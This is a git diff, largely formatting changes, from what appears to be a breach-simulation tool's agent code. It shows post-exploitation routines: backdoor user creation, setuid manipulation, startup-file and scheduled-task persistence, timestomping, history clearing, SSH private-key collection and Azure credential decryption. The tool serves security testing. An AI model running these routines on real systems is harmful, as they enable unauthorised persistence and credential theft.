] == "".join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception])
def test_exception_ssl_not_configured_selected_non_ssl_allowed(mock_PostgreSQLFinger, host):
@ -125,8 +125,8 @@ def test_exception_ssl_not_configured_selected_non_ssl_allowed(mock_PostgreSQLFi
mock_PostgreSQLFinger.analyze_operational_error(host, exception)
assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE][
"communication_encryption_details"
] == "".join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception])
"communication_encryption_details"
] == "".join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception])
def test_exception_all_ssl_allowed_all_non_ssl_allowed(mock_PostgreSQLFinger, host):
@ -135,8 +135,8 @@ def test_exception_all_ssl_allowed_all_non_ssl_allowed(mock_PostgreSQLFinger, ho
mock_PostgreSQLFinger.analyze_operational_error(host, exception)
assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE][
"communication_encryption_details"
] == "".join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception])
"communication_encryption_details"
] == "".join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception])
def test_exception_all_ssl_allowed_selected_non_ssl_allowed(mock_PostgreSQLFinger, host):
@ -145,8 +145,8 @@ def test_exception_all_ssl_allowed_selected_non_ssl_allowed(mock_PostgreSQLFinge
mock_PostgreSQLFinger.analyze_operational_error(host, exception)
assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE][
"communication_encryption_details"
] == "".join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception])
"communication_encryption_details"
] == "".join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception])
def test_exception_selected_ssl_allowed_all_non_ssl_allowed(mock_PostgreSQLFinger, host):
@ -155,8 +155,8 @@ def test_exception_selected_ssl_allowed_all_non_ssl_allowed(mock_PostgreSQLFinge
mock_PostgreSQLFinger.analyze_operational_error(host, exception)
assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE][
"communication_encryption_details"
] == "".join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception])
"communication_encryption_details"
] == "".join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception])
def test_exception_selected_ssl_allowed_selected_non_ssl_allowed(mock_PostgreSQLFinger, host):
@ -165,5 +165,5 @@ def test_exception_selected_ssl_allowed_selected_non_ssl_allowed(mock_PostgreSQL
mock_PostgreSQLFinger.analyze_operational_error(host, exception)
assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE][
"communication_encryption_details"
] == "".join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception])
"communication_encryption_details"
] == "".join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception])

View File

@ -129,7 +129,8 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False):
possible_ports.append((port, sock))
continue
if err == 10035: # WSAEWOULDBLOCK is valid, see
# https://msdn.microsoft.com/en-us/library/windows/desktop/ms740668%28v=vs.85%29.aspx?f=255&MSPPError=-2147217396
# https://msdn.microsoft.com/en-us/library/windows/desktop/ms740668%28v=vs.85%29
# .aspx?f=255&MSPPError=-2147217396
possible_ports.append((port, sock))
continue
if err == 115: # EINPROGRESS 115 /* Operation now in progress */
@ -156,15 +157,16 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False):
timeout -= SLEEP_BETWEEN_POLL
LOG.debug(
"On host %s discovered the following ports %s"
% (str(ip), ",".join([str(s[0]) for s in connected_ports_sockets]))
"On host %s discovered the following ports %s"
% (str(ip), ",".join([str(s[0]) for s in connected_ports_sockets]))
)
banners = []
if get_banner and (len(connected_ports_sockets) != 0):
readable_sockets, _, _ = select.select(
[s[1] for s in connected_ports_sockets], [], [], 0
[s[1] for s in connected_ports_sockets], [], [], 0
)
# read first BANNER_READ bytes. We ignore errors because service might not send a decodable byte string.
# read first BANNER_READ bytes. We ignore errors because service might not send a
# decodable byte string.
banners = [
sock.recv(BANNER_READ).decode(errors="ignore")
if sock in readable_sockets
@ -209,7 +211,8 @@ def _get_traceroute_bin_path():
Its been built using the buildroot utility with the following settings:
* Statically link to musl and all other required libs
* Optimize for size
This is done because not all linux distros come with traceroute out-of-the-box, and to ensure it behaves as expected
This is done because not all linux distros come with traceroute out-of-the-box, and to ensure
it behaves as expected
:return: Path to traceroute executable
"""
@ -223,7 +226,8 @@ def _parse_traceroute(output, regex, ttl):
:param regex: Regex for finding an IP address
:param ttl: Max TTL. Must be the same as the TTL used as param for traceroute.
:return: List of ips which are the hops on the way to the traceroute destination.
If a hop's IP wasn't found by traceroute, instead of an IP, the array will contain None
If a hop's IP wasn't found by traceroute, instead of an IP, the array will
contain None
"""
ip_lines = output.split("\n")
trace_list = []
@ -236,7 +240,7 @@ def _parse_traceroute(output, regex, ttl):
for i in range(first_line_index, first_line_index + ttl):
if (
re.search(r"^\s*" + str(i - first_line_index + 1), ip_lines[i]) is None
re.search(r"^\s*" + str(i - first_line_index + 1), ip_lines[i]) is None
): # If trace is finished
break
@ -288,7 +292,7 @@ def get_interface_to_target(dst):
ip_to_dst = s.getsockname()[0]
except KeyError:
LOG.debug(
"Couldn't get an interface to the target, presuming that target is localhost."
"Couldn't get an interface to the target, presuming that target is localhost."
)
ip_to_dst = "127.0.0.1"
finally:

View File

@ -7,8 +7,8 @@ from infection_monkey.utils.users import get_commands_to_add_user
class BackdoorUser(PBA):
def __init__(self):
linux_cmds, windows_cmds = get_commands_to_add_user(
WormConfiguration.user_to_add, WormConfiguration.remote_user_pass
WormConfiguration.user_to_add, WormConfiguration.remote_user_pass
)
super(BackdoorUser, self).__init__(
POST_BREACH_BACKDOOR_USER, linux_cmd=" ".join(linux_cmds), windows_cmd=windows_cmds
POST_BREACH_BACKDOOR_USER, linux_cmd=" ".join(linux_cmds), windows_cmd=windows_cmds
)

View File

@ -9,5 +9,5 @@ class ChangeSetuidSetgid(PBA):
def __init__(self):
linux_cmds = get_commands_to_change_setuid_setgid()
super(ChangeSetuidSetgid, self).__init__(
POST_BREACH_SETUID_SETGID, linux_cmd=" ".join(linux_cmds)
POST_BREACH_SETUID_SETGID, linux_cmd=" ".join(linux_cmds)
)

View File

@ -47,7 +47,7 @@ class ClearCommandHistory(PBA):
if self.command:
try:
output = subprocess.check_output(
self.command, stderr=subprocess.STDOUT, shell=True # noqa: DUO116
self.command, stderr=subprocess.STDOUT, shell=True # noqa: DUO116
).decode()
return output, True
except subprocess.CalledProcessError as e:

View File

@ -27,7 +27,8 @@ logger = logging.getLogger(__name__)
class CommunicateAsNewUser(PBA):
"""
This PBA creates a new user, and then creates HTTPS requests as that user. This is used for a Zero Trust test of the
This PBA creates a new user, and then creates HTTPS requests as that user. This is used for a
Zero Trust test of the
People pillar. See the relevant telemetry processing to see what findings are created.
"""
@ -39,7 +40,7 @@ class CommunicateAsNewUser(PBA):
try:
with create_auto_new_user(username, PASSWORD) as new_user:
http_request_commandline = CommunicateAsNewUser.get_commandline_for_http_request(
INFECTION_MONKEY_WEBSITE_URL
INFECTION_MONKEY_WEBSITE_URL
)
exit_status = new_user.run_as(http_request_commandline)
self.send_result_telemetry(exit_status, http_request_commandline, username)
@ -51,14 +52,15 @@ class CommunicateAsNewUser(PBA):
@staticmethod
def get_random_new_user_name():
return USERNAME_PREFIX + "".join(
random.choice(string.ascii_lowercase) for _ in range(5)
random.choice(string.ascii_lowercase) for _ in range(5)
) # noqa: DUO102
@staticmethod
def get_commandline_for_http_request(url, is_windows=is_windows_os()):
if is_windows:
format_string = (
'powershell.exe -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; '
'powershell.exe -command "[Net.ServicePointManager]::SecurityProtocol = ['
"Net.SecurityProtocolType]::Tls12; "
'Invoke-WebRequest {url} -UseBasicParsing"'
)
else:
@ -79,17 +81,18 @@ class CommunicateAsNewUser(PBA):
"""
if exit_status == 0:
PostBreachTelem(
self, (CREATED_PROCESS_AS_USER_SUCCESS_FORMAT.format(commandline, username), True)
self,
(CREATED_PROCESS_AS_USER_SUCCESS_FORMAT.format(commandline, username), True)
).send()
else:
PostBreachTelem(
self,
(
CREATED_PROCESS_AS_USER_FAILED_FORMAT.format(
commandline, username, exit_status, twos_complement(exit_status)
self,
(
CREATED_PROCESS_AS_USER_FAILED_FORMAT.format(
commandline, username, exit_status, twos_complement(exit_status)
),
False,
),
False,
),
).send()

View File

@ -9,5 +9,6 @@ class AccountDiscovery(PBA):
def __init__(self):
linux_cmds, windows_cmds = get_commands_to_discover_accounts()
super().__init__(
POST_BREACH_ACCOUNT_DISCOVERY, linux_cmd=" ".join(linux_cmds), windows_cmd=windows_cmds
POST_BREACH_ACCOUNT_DISCOVERY, linux_cmd=" ".join(linux_cmds),
windows_cmd=windows_cmds
)

View File

@ -25,9 +25,9 @@ class HiddenFiles(PBA):
for function_to_get_commands in HIDDEN_FSO_CREATION_COMMANDS:
linux_cmds, windows_cmds = function_to_get_commands()
super(HiddenFiles, self).__init__(
name=POST_BREACH_HIDDEN_FILES,
linux_cmd=" ".join(linux_cmds),
windows_cmd=windows_cmds,
name=POST_BREACH_HIDDEN_FILES,
linux_cmd=" ".join(linux_cmds),
windows_cmd=windows_cmds,
)
super(HiddenFiles, self).run()
if is_windows_os(): # use winAPI

View File

@ -50,16 +50,16 @@ class ModifyShellStartupFiles(PBA):
class ModifyShellStartupFile(PBA):
def __init__(self, linux_cmds, windows_cmds):
super().__init__(
name=POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION,
linux_cmd=linux_cmds,
windows_cmd=windows_cmds,
name=POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION,
linux_cmd=linux_cmds,
windows_cmd=windows_cmds,
)
def run(self):
if self.command:
try:
output = subprocess.check_output(
self.command, stderr=subprocess.STDOUT, shell=True # noqa: DUO116
self.command, stderr=subprocess.STDOUT, shell=True # noqa: DUO116
).decode()
return output, True
except subprocess.CalledProcessError as e:

View File

@ -15,9 +15,9 @@ class ScheduleJobs(PBA):
linux_cmds, windows_cmds = get_commands_to_schedule_jobs()
super(ScheduleJobs, self).__init__(
name=POST_BREACH_JOB_SCHEDULING,
linux_cmd=" ".join(linux_cmds),
windows_cmd=windows_cmds,
name=POST_BREACH_JOB_SCHEDULING,
linux_cmd=" ".join(linux_cmds),
windows_cmd=windows_cmds,
)
def run(self):

View File

@ -22,13 +22,14 @@ class SignedScriptProxyExecution(PBA):
original_comspec = ""
if is_windows_os():
original_comspec = subprocess.check_output(
"if defined COMSPEC echo %COMSPEC%", shell=True
"if defined COMSPEC echo %COMSPEC%", shell=True
).decode() # noqa: DUO116
super().run()
except Exception as e:
LOG.warning(
f"An exception occurred on running PBA {POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC}: {str(e)}"
f"An exception occurred on running PBA "
f"{POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC}: {str(e)}"
)
finally:
cleanup_changes(original_comspec)

View File

@ -35,8 +35,8 @@ class UsersPBA(PBA):
if WormConfiguration.custom_PBA_linux_cmd:
# Add change dir command, because user will try to access his file
self.command = (
DIR_CHANGE_LINUX % get_monkey_dir_path()
) + WormConfiguration.custom_PBA_linux_cmd
DIR_CHANGE_LINUX % get_monkey_dir_path()
) + WormConfiguration.custom_PBA_linux_cmd
elif WormConfiguration.custom_PBA_linux_cmd:
self.command = WormConfiguration.custom_PBA_linux_cmd
else:
@ -46,8 +46,8 @@ class UsersPBA(PBA):
if WormConfiguration.custom_PBA_windows_cmd:
# Add change dir command, because user will try to access his file
self.command = (
DIR_CHANGE_WINDOWS % get_monkey_dir_path()
) + WormConfiguration.custom_PBA_windows_cmd
DIR_CHANGE_WINDOWS % get_monkey_dir_path()
) + WormConfiguration.custom_PBA_windows_cmd
elif WormConfiguration.custom_PBA_windows_cmd:
self.command = WormConfiguration.custom_PBA_windows_cmd
@ -86,10 +86,10 @@ class UsersPBA(PBA):
status = ScanStatus.USED
T1105Telem(
status,
WormConfiguration.current_server.split(":")[0],
get_interface_to_target(WormConfiguration.current_server.split(":")[0]),
filename,
status,
WormConfiguration.current_server.split(":")[0],
get_interface_to_target(WormConfiguration.current_server.split(":")[0]),
filename,
).send()
if status == ScanStatus.SCANNED:

View File

@ -48,10 +48,10 @@ def get_linux_usernames():
# get list of usernames
USERS = (
subprocess.check_output( # noqa: DUO116
"cut -d: -f1,3 /etc/passwd | egrep ':[0-9]{4}$' | cut -d: -f1", shell=True
"cut -d: -f1,3 /etc/passwd | egrep ':[0-9]{4}$' | cut -d: -f1", shell=True
)
.decode()
.split("\n")[:-1]
.decode()
.split("\n")[:-1]
)
return USERS

View File

@ -1,7 +1,9 @@
SCHEDULED_TASK_NAME = "monkey-spawn-cmd"
SCHEDULED_TASK_COMMAND = r"C:\windows\system32\cmd.exe"
# Commands from: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.005/T1053.005.md
# Commands from: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.005
# /T1053.005.md
def get_windows_commands_to_schedule_jobs():

View File

@ -16,7 +16,8 @@ __author__ = "VakarisZ"
class PBA(Plugin):
"""
Post breach action object. Can be extended to support more than command execution on target machine.
Post breach action object. Can be extended to support more than command execution on target
machine.
"""
@staticmethod
@ -61,7 +62,8 @@ class PBA(Plugin):
result = exec_funct()
if self.scripts_were_used_successfully(result):
T1064Telem(
ScanStatus.USED, f"Scripts were used to execute {self.name} post breach action."
ScanStatus.USED,
f"Scripts were used to execute {self.name} post breach action."
).send()
PostBreachTelem(self, result).send()
else:
@ -90,7 +92,7 @@ class PBA(Plugin):
"""
try:
output = subprocess.check_output(
self.command, stderr=subprocess.STDOUT, shell=True
self.command, stderr=subprocess.STDOUT, shell=True
).decode()
return output, True
except subprocess.CalledProcessError as e:

View File

@ -1,11 +1,14 @@
TEMP_FILE = "$HOME/monkey-temp-file"
# Commands from https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1548.001/T1548.001.md
# Commands from https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1548.001
# /T1548.001.md
def get_linux_commands_to_setuid_setgid():
return [
f"touch {TEMP_FILE} && chown root {TEMP_FILE} && chmod u+s {TEMP_FILE} && chmod g+s {TEMP_FILE} &&",
f"touch {TEMP_FILE} && chown root {TEMP_FILE} && chmod u+s {TEMP_FILE} && chmod g+s "
f"{TEMP_FILE} &&",
'echo "Successfully changed setuid/setgid bits" &&',
f"rm {TEMP_FILE}",
]

View File

@ -12,10 +12,10 @@ def get_linux_commands_to_modify_shell_startup_files():
# get list of usernames
USERS = (
subprocess.check_output( # noqa: DUO116
"cut -d: -f1,3 /etc/passwd | egrep ':[0-9]{4}$' | cut -d: -f1", shell=True
"cut -d: -f1,3 /etc/passwd | egrep ':[0-9]{4}$' | cut -d: -f1", shell=True
)
.decode()
.split("\n")[:-1]
.decode()
.split("\n")[:-1]
)
# get list of paths of different shell startup files with place for username

View File

@ -1,7 +1,9 @@
from infection_monkey.post_breach.shell_startup_files.linux.shell_startup_files_modification import (
from infection_monkey.post_breach.shell_startup_files.linux.shell_startup_files_modification\
import (
get_linux_commands_to_modify_shell_startup_files,
)
from infection_monkey.post_breach.shell_startup_files.windows.shell_startup_files_modification import (
from infection_monkey.post_breach.shell_startup_files.windows.shell_startup_files_modification\
import (
get_windows_commands_to_modify_shell_startup_files,
)

View File

@ -19,13 +19,15 @@ def get_windows_commands_to_modify_shell_startup_files():
STARTUP_FILES_PER_USER = [
"\\".join(
SHELL_STARTUP_FILE_PATH_COMPONENTS[:2] + [user] + SHELL_STARTUP_FILE_PATH_COMPONENTS[3:]
SHELL_STARTUP_FILE_PATH_COMPONENTS[:2] + [
user] + SHELL_STARTUP_FILE_PATH_COMPONENTS[3:]
)
for user in USERS
]
return [
"powershell.exe",
"infection_monkey/post_breach/shell_startup_files/windows/modify_powershell_startup_file.ps1",
"-startup_file_path {0}",
], STARTUP_FILES_PER_USER
"powershell.exe",
"infection_monkey/post_breach/shell_startup_files/windows"
"/modify_powershell_startup_file.ps1",
"-startup_file_path {0}",
], STARTUP_FILES_PER_USER

View File

@ -16,6 +16,6 @@ def get_commands_to_proxy_execution_using_signed_script():
def cleanup_changes(original_comspec):
if is_windows_os():
subprocess.run(
get_windows_commands_to_reset_comspec(original_comspec), shell=True
get_windows_commands_to_reset_comspec(original_comspec), shell=True
) # noqa: DUO116
subprocess.run(get_windows_commands_to_delete_temp_comspec(), shell=True) # noqa: DUO116

View File

@ -12,42 +12,42 @@ CUSTOM_WINDOWS_FILENAME = "filename-for-windows"
@pytest.fixture
def fake_monkey_dir_path(monkeypatch):
monkeypatch.setattr(
"infection_monkey.post_breach.actions.users_custom_pba.get_monkey_dir_path",
lambda: MONKEY_DIR_PATH,
"infection_monkey.post_breach.actions.users_custom_pba.get_monkey_dir_path",
lambda:MONKEY_DIR_PATH,
)
@pytest.fixture
def set_os_linux(monkeypatch):
monkeypatch.setattr(
"infection_monkey.post_breach.actions.users_custom_pba.is_windows_os",
lambda: False,
"infection_monkey.post_breach.actions.users_custom_pba.is_windows_os",
lambda:False,
)
@pytest.fixture
def set_os_windows(monkeypatch):
monkeypatch.setattr(
"infection_monkey.post_breach.actions.users_custom_pba.is_windows_os",
lambda: True,
"infection_monkey.post_breach.actions.users_custom_pba.is_windows_os",
lambda:True,
)
@pytest.fixture
def mock_UsersPBA_linux_custom_file_and_cmd(set_os_linux, fake_monkey_dir_path, monkeypatch):
monkeypatch.setattr(
"infection_monkey.config.WormConfiguration.custom_PBA_linux_cmd",
CUSTOM_LINUX_CMD,
"infection_monkey.config.WormConfiguration.custom_PBA_linux_cmd",
CUSTOM_LINUX_CMD,
)
monkeypatch.setattr(
"infection_monkey.config.WormConfiguration.PBA_linux_filename",
CUSTOM_LINUX_FILENAME,
"infection_monkey.config.WormConfiguration.PBA_linux_filename",
CUSTOM_LINUX_FILENAME,
)
return UsersPBA()
def test_command_linux_custom_file_and_cmd(
mock_UsersPBA_linux_custom_file_and_cmd,
mock_UsersPBA_linux_custom_file_and_cmd,
):
expected_command = f"cd {MONKEY_DIR_PATH} ; {CUSTOM_LINUX_CMD}"
assert mock_UsersPBA_linux_custom_file_and_cmd.command == expected_command
@ -56,18 +56,18 @@ def test_command_linux_custom_file_and_cmd(
@pytest.fixture
def mock_UsersPBA_windows_custom_file_and_cmd(set_os_windows, fake_monkey_dir_path, monkeypatch):
monkeypatch.setattr(
"infection_monkey.config.WormConfiguration.custom_PBA_windows_cmd",
CUSTOM_WINDOWS_CMD,
"infection_monkey.config.WormConfiguration.custom_PBA_windows_cmd",
CUSTOM_WINDOWS_CMD,
)
monkeypatch.setattr(
"infection_monkey.config.WormConfiguration.PBA_windows_filename",
CUSTOM_WINDOWS_FILENAME,
"infection_monkey.config.WormConfiguration.PBA_windows_filename",
CUSTOM_WINDOWS_FILENAME,
)
return UsersPBA()
def test_command_windows_custom_file_and_cmd(
mock_UsersPBA_windows_custom_file_and_cmd,
mock_UsersPBA_windows_custom_file_and_cmd,
):
expected_command = f"cd {MONKEY_DIR_PATH} & {CUSTOM_WINDOWS_CMD}"
assert mock_UsersPBA_windows_custom_file_and_cmd.command == expected_command
@ -75,11 +75,10 @@ def test_command_windows_custom_file_and_cmd(
@pytest.fixture
def mock_UsersPBA_linux_custom_file(set_os_linux, fake_monkey_dir_path, monkeypatch):
monkeypatch.setattr("infection_monkey.config.WormConfiguration.custom_PBA_linux_cmd", None)
monkeypatch.setattr(
"infection_monkey.config.WormConfiguration.PBA_linux_filename",
CUSTOM_LINUX_FILENAME,
"infection_monkey.config.WormConfiguration.PBA_linux_filename",
CUSTOM_LINUX_FILENAME,
)
return UsersPBA()
@ -91,11 +90,10 @@ def test_command_linux_custom_file(mock_UsersPBA_linux_custom_file):
@pytest.fixture
def mock_UsersPBA_windows_custom_file(set_os_windows, fake_monkey_dir_path, monkeypatch):
monkeypatch.setattr("infection_monkey.config.WormConfiguration.custom_PBA_windows_cmd", None)
monkeypatch.setattr(
"infection_monkey.config.WormConfiguration.PBA_windows_filename",
CUSTOM_WINDOWS_FILENAME,
"infection_monkey.config.WormConfiguration.PBA_windows_filename",
CUSTOM_WINDOWS_FILENAME,
)
return UsersPBA()
@ -107,10 +105,9 @@ def test_command_windows_custom_file(mock_UsersPBA_windows_custom_file):
@pytest.fixture
def mock_UsersPBA_linux_custom_cmd(set_os_linux, fake_monkey_dir_path, monkeypatch):
monkeypatch.setattr(
"infection_monkey.config.WormConfiguration.custom_PBA_linux_cmd",
CUSTOM_LINUX_CMD,
"infection_monkey.config.WormConfiguration.custom_PBA_linux_cmd",
CUSTOM_LINUX_CMD,
)
monkeypatch.setattr("infection_monkey.config.WormConfiguration.PBA_linux_filename", None)
return UsersPBA()
@ -123,10 +120,9 @@ def test_command_linux_custom_cmd(mock_UsersPBA_linux_custom_cmd):
@pytest.fixture
def mock_UsersPBA_windows_custom_cmd(set_os_windows, fake_monkey_dir_path, monkeypatch):
monkeypatch.setattr(
"infection_monkey.config.WormConfiguration.custom_PBA_windows_cmd",
CUSTOM_WINDOWS_CMD,
"infection_monkey.config.WormConfiguration.custom_PBA_windows_cmd",
CUSTOM_WINDOWS_CMD,
)
monkeypatch.setattr("infection_monkey.config.WormConfiguration.PBA_windows_filename", None)
return UsersPBA()

View File

@ -10,5 +10,5 @@ def get_linux_timestomping_commands():
f"rm {TEMP_FILE} -f"
]
# Commands' source: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.006/T1070.006.md
# Commands' source: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.006
# /T1070.006.md

View File

@ -4,5 +4,5 @@ TEMP_FILE = "monkey-timestomping-file.txt"
def get_windows_timestomping_commands():
return "powershell.exe infection_monkey/post_breach/timestomping/windows/timestomping.ps1"
# Commands' source: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.006/T1070.006.md
# Commands' source: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.006
# /T1070.006.md

View File

@ -1,5 +1,6 @@
def get_linux_trap_commands():
return [
"trap 'echo \"Successfully used trap command\"' INT && kill -2 $$ ;", # trap and send SIGINT signal
"trap 'echo \"Successfully used trap command\"' INT && kill -2 $$ ;",
# trap and send SIGINT signal
"trap - INT", # untrap SIGINT
]

View File

@ -6,7 +6,8 @@ __author__ = "itay.mizeretz"
def get_binaries_dir_path():
"""
Gets the path to the binaries dir (files packaged in pyinstaller if it was used, infection_monkey dir otherwise)
Gets the path to the binaries dir (files packaged in pyinstaller if it was used,
infection_monkey dir otherwise)
:return: Binaries dir path
"""
if getattr(sys, "frozen", False):

View File

@ -38,11 +38,11 @@ class SSHCollector(object):
possibly hashed)
"""
return {
"name": name,
"home_dir": home_dir,
"public_key": None,
"private_key": None,
"known_hosts": None,
"name":name,
"home_dir":home_dir,
"public_key":None,
"private_key":None,
"known_hosts":None,
}
@staticmethod
@ -72,7 +72,8 @@ class SSHCollector(object):
try:
with open(public) as f:
info["public_key"] = f.read()
# By default private key has the same name as public, only without .pub
# By default private key has the same name as public,
# only without .pub
private = os.path.splitext(public)[0]
if os.path.exists(private):
try:
@ -83,7 +84,8 @@ class SSHCollector(object):
info["private_key"] = private_key
LOG.info("Found private key in %s" % private)
T1005Telem(
ScanStatus.USED, "SSH key", "Path: %s" % private
ScanStatus.USED, "SSH key",
"Path: %s" % private
).send()
else:
continue

View File

@ -29,7 +29,8 @@ class OperatingSystem(IntEnum):
class SystemInfoCollector(object):
"""
A class that checks the current operating system and calls system information collecting modules accordingly
A class that checks the current operating system and calls system information collecting
modules accordingly
"""
def __init__(self):
@ -79,8 +80,8 @@ class InfoCollector(object):
"""
LOG.debug("Reading subnets")
self.info["network_info"] = {
"networks": get_host_subnets(),
"netstat": NetstatCollector.get_netstat_info(),
"networks":get_host_subnets(),
"netstat":NetstatCollector.get_netstat_info(),
}
def get_azure_info(self):
@ -113,5 +114,6 @@ class InfoCollector(object):
self.info["Azure"] = {}
self.info["Azure"]["usernames"] = [cred[0] for cred in azure_creds]
except Exception:
# If we failed to collect azure info, no reason to fail all the collection. Log and continue.
# If we failed to collect azure info, no reason to fail all the collection. Log and
# continue.
LOG.error("Failed collecting Azure info.", exc_info=True)

View File

@ -57,12 +57,12 @@ class AzureCollector(object):
base64_command = """openssl base64 -d -a"""
priv_path = os.path.join(linux_cert_store, "%s.prv" % cert_thumbprint)
b64_proc = subprocess.Popen(
base64_command.split(), stdin=subprocess.PIPE, stdout=subprocess.PIPE
base64_command.split(), stdin=subprocess.PIPE, stdout=subprocess.PIPE
)
b64_result = b64_proc.communicate(input=protected_data + "\n")[0]
decrypt_command = "openssl smime -inform DER -decrypt -inkey %s" % priv_path
decrypt_proc = subprocess.Popen(
decrypt_command.split(), stdout=subprocess.PIPE, stdin=subprocess.PIPE
decrypt_command.split(), stdout=subprocess.PIPE, stdin=subprocess.PIPE
)
decrypt_raw = decrypt_proc.communicate(input=b64_result)[0]
decrypt_data = json.loads(decrypt_raw)
@ -77,7 +77,7 @@ class AzureCollector(object):
return None
except subprocess.CalledProcessError:
LOG.warning(
"Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data"
"Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data"
)
return None
@ -96,19 +96,20 @@ class AzureCollector(object):
]
# we're going to do as much of this in PS as we can.
ps_block = ";\n".join(
[
'[System.Reflection.Assembly]::LoadWithPartialName("System.Security") | Out-Null',
'$base64 = "%s"' % protected_data,
"$content = [Convert]::FromBase64String($base64)",
"$env = New-Object Security.Cryptography.Pkcs.EnvelopedCms",
"$env.Decode($content)",
"$env.Decrypt()",
"$utf8content = [text.encoding]::UTF8.getstring($env.ContentInfo.Content)",
"Write-Host $utf8content", # we want to simplify parsing
]
[
'[System.Reflection.Assembly]::LoadWithPartialName("System.Security") | '
"Out-Null",
'$base64 = "%s"' % protected_data,
"$content = [Convert]::FromBase64String($base64)",
"$env = New-Object Security.Cryptography.Pkcs.EnvelopedCms",
"$env.Decode($content)",
"$env.Decrypt()",
"$utf8content = [text.encoding]::UTF8.getstring($env.ContentInfo.Content)",
"Write-Host $utf8content", # we want to simplify parsing
]
)
ps_proc = subprocess.Popen(
["powershell.exe", "-NoLogo"], stdin=subprocess.PIPE, stdout=subprocess.PIPE
["powershell.exe", "-NoLogo"], stdin=subprocess.PIPE, stdout=subprocess.PIPE
)
ps_out = ps_proc.communicate(ps_block)[0]
# this is disgusting but the alternative is writing the file to disk...
@ -116,7 +117,7 @@ class AzureCollector(object):
password = json.loads(password_raw)["Password"]
T1005Telem(ScanStatus.USED, "Azure credentials", "Path: %s" % filepath).send()
T1064Telem(
ScanStatus.USED, "Powershell scripts used to extract azure credentials."
ScanStatus.USED, "Powershell scripts used to extract azure credentials."
).send()
return username, password
except IOError:
@ -127,6 +128,6 @@ class AzureCollector(object):
return None
except subprocess.CalledProcessError:
LOG.warning(
"Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data"
"Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data"
)
return None

View File

@ -31,7 +31,7 @@ class AwsCollector(SystemInfoCollector):
info = {}
if aws.is_instance():
logger.info("Machine is an AWS instance")
info = {"instance_id": aws.get_instance_id()}
info = {"instance_id":aws.get_instance_id()}
else:
logger.info("Machine is NOT an AWS instance")

View File

@ -21,4 +21,4 @@ class EnvironmentCollector(SystemInfoCollector):
super().__init__(name=ENVIRONMENT_COLLECTOR)
def collect(self) -> dict:
return {"environment": get_monkey_environment()}
return {"environment":get_monkey_environment()}

View File

@ -12,4 +12,4 @@ class HostnameCollector(SystemInfoCollector):
super().__init__(name=HOSTNAME_COLLECTOR)
def collect(self) -> dict:
return {"hostname": socket.getfqdn()}
return {"hostname":socket.getfqdn()}

View File

@ -30,22 +30,23 @@ class ProcessListCollector(SystemInfoCollector):
for process in psutil.process_iter():
try:
processes[process.pid] = {
"name": process.name(),
"pid": process.pid,
"ppid": process.ppid(),
"cmdline": " ".join(process.cmdline()),
"full_image_path": process.exe(),
"name":process.name(),
"pid":process.pid,
"ppid":process.ppid(),
"cmdline":" ".join(process.cmdline()),
"full_image_path":process.exe(),
}
except (psutil.AccessDenied, WindowsError):
# we may be running as non root and some processes are impossible to acquire in Windows/Linux.
# we may be running as non root and some processes are impossible to acquire in
# Windows/Linux.
# In this case we'll just add what we know.
processes[process.pid] = {
"name": "null",
"pid": process.pid,
"ppid": process.ppid(),
"cmdline": "ACCESS DENIED",
"full_image_path": "null",
"name":"null",
"pid":process.pid,
"ppid":process.ppid(),
"cmdline":"ACCESS DENIED",
"full_image_path":"null",
}
continue
return {"process_list": processes}
return {"process_list":processes}

View File

@ -24,10 +24,10 @@ def scan_cloud_security(cloud_type: CloudProviders):
def run_scoutsuite(cloud_type: str) -> Union[BaseProvider, dict]:
return ScoutSuite.api_run.run(
provider=cloud_type,
aws_access_key_id=WormConfiguration.aws_access_key_id,
aws_secret_access_key=WormConfiguration.aws_secret_access_key,
aws_session_token=WormConfiguration.aws_session_token,
provider=cloud_type,
aws_access_key_id=WormConfiguration.aws_access_key_id,
aws_secret_access_key=WormConfiguration.aws_secret_access_key,
aws_session_token=WormConfiguration.aws_session_token,
)

View File

@ -1,4 +1,5 @@
# Inspired by Giampaolo Rodola's psutil example from https://github.com/giampaolo/psutil/blob/master/scripts/netstat.py
# Inspired by Giampaolo Rodola's psutil example from
# https://github.com/giampaolo/psutil/blob/master/scripts/netstat.py
import logging
import socket
@ -19,10 +20,10 @@ class NetstatCollector(object):
AF_INET6 = getattr(socket, "AF_INET6", object())
proto_map = {
